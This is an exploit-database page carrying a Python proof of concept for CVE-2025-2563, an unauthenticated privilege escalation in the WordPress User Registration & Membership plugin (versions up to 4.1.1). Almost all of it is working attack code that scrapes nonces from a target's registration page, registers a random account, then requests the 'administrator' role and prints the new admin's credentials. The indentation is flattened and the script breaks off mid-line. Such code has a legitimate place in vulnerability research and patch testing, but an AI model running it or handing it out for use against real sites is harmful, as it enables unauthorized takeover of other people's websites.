Share
## https://sploitus.com/exploit?id=PACKETSTORM:190350
# Exploit Title: WordPress User Registration & Membership Plugin <= 4.1.1 - Unauthenticated Privilege Escalation
    # Exploit Author: Al Baradi Joy
    # Date: 2025-04-07
    # Vendor Homepage: https://wordpress.org/plugins/user-registration/
    # Software Link:
    https://downloads.wordpress.org/plugin/user-registration.4.1.1.zip
    # Version: <= 4.1.1
    # Tested on: WordPress 6.4.3
    # CVSS: 9.8 (CRITICAL)
    # CWE: CWE-269
    # References:
    # https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-411-unauthenticated-privilege-escalation
    # https://patchstack.com/database/wordpress/plugin/user-registration/vulnerability/wordpress-user-registration-membership-plugin-4-1-2-unauthenticated-privilege-escalation-vulnerability
    # https://nvd.nist.gov/vuln/detail/CVE-2025-2563
    
    import re
    import json
    import requests
    import random
    import string
    from urllib.parse import urljoin
    
    def banner():
    print("\n[+] CVE-2025-2563 - WP User Registration Privilege Escalation")
    print("[+] Made By Al Baradi Joy\n")
    
    def randstring(n=8):
    return ''.join(random.choices(string.ascii_lowercase, k=n))
    
    def get_regex(content, pattern, group=1, name=""):
    match = re.search(pattern, content)
    if not match:
    raise ValueError(f"[-] Could not extract {name} (Pattern:
    {pattern})")
    return match.group(group)
    
    def exploit(target):
    session = requests.Session()
    username = randstring()
    password = randstring() + "!@"
    email = f"{username}@exploit.test"
    
    try:
    print("[+] Getting registration page...")
    r = session.get(urljoin(target, "/membership-registration/"),
    timeout=10)
    r.raise_for_status()
    page = r.text
    
    nonce = get_regex(page,
    r'"user_registration_form_data_save":"(.*?)"', name="nonce")
    formid = get_regex(page, r"id='user-registration-form-([0-9]+)'",
    name="formid")
    memval = get_regex(page,
    r'id="ur-membership-select-membership-([0-9]+)', name="membership value")
    memname = get_regex(page,
    r'data-field-id="membership_field_([0-9]+)"', name="membership field name")
    front_nonce = get_regex(page, r'name="ur_frontend_form_nonce"
    value="(.*?)"', name="frontend_nonce")
    loc_nonce = get_regex(page, r'ur_membership_frontend_localized_data
    = {"_nonce":"(.*?)"', name="localized_frontend_nonce")
    
    print("[+] Submitting registration form...")
    form_data = [
    {"field_name": "user_login", "value": username, "field_type":
    "text", "label": "Username"},
    {"field_name": "user_email", "value": email, "field_type":
    "email", "label": "User Email"},
    {"field_name": "user_pass", "value": password, "field_type":
    "password", "label": "User Password"},
    {"field_name": "user_confirm_password", "value": password,
    "field_type": "password", "label": "Confirm Password"},
    {"value": memval, "field_type": "radio", "label": "membership",
    "field_name": f"membership_field_{memname}"}
    ]
    
    payload = {
    "action": "user_registration_user_form_submit",
    "security": nonce,
    "form_data": json.dumps(form_data),
    "form_id": formid,
    "registration_language": "en-US",
    "ur_frontend_form_nonce": front_nonce,
    "is_membership_active": memval,
    "membership_type": memval
    }
    
    r2 = session.post(urljoin(target, "/wp-admin/admin-ajax.php"),
    data=payload, timeout=10)
    
    if '"success":true' not in r2.text:
    print("[-] Registration form failed.")
    return
    
    print("[+] Sending membership registration as administrator...")
    member_payload = {
    "action": "user_registration_membership_register_member",
    "security": loc_nonce,
    "members_data": json.dumps({
    "membership": "1",
    "payment_method": "free",
    "start_date": "2025-3-29",
    "username": username,
    "role": "administrator"
    })
    }
    
    r3 = session.post(urljoin(target, "/wp-admin/admin-ajax.php"),
    data=member_payload, timeout=10)
    
    if '"success":true' in r3.text:
    print("[+] Exploit Successful!")
    print(f"[+] Admin Username: {username}")
    print(f"[+] Admin Password: {password}")
    else:
    print("[-] Membership escalation failed.")
    
    except Exception as e:
    print(f"[-] Exploit failed: {str(e)}")
    
    if __name__ == "__main__":
    banner()
    target = input("Enter target WordPress site (e.g., http://example.com):
    ").strip().rstrip('/')
    if not target.startswith("http"):
    target = "http: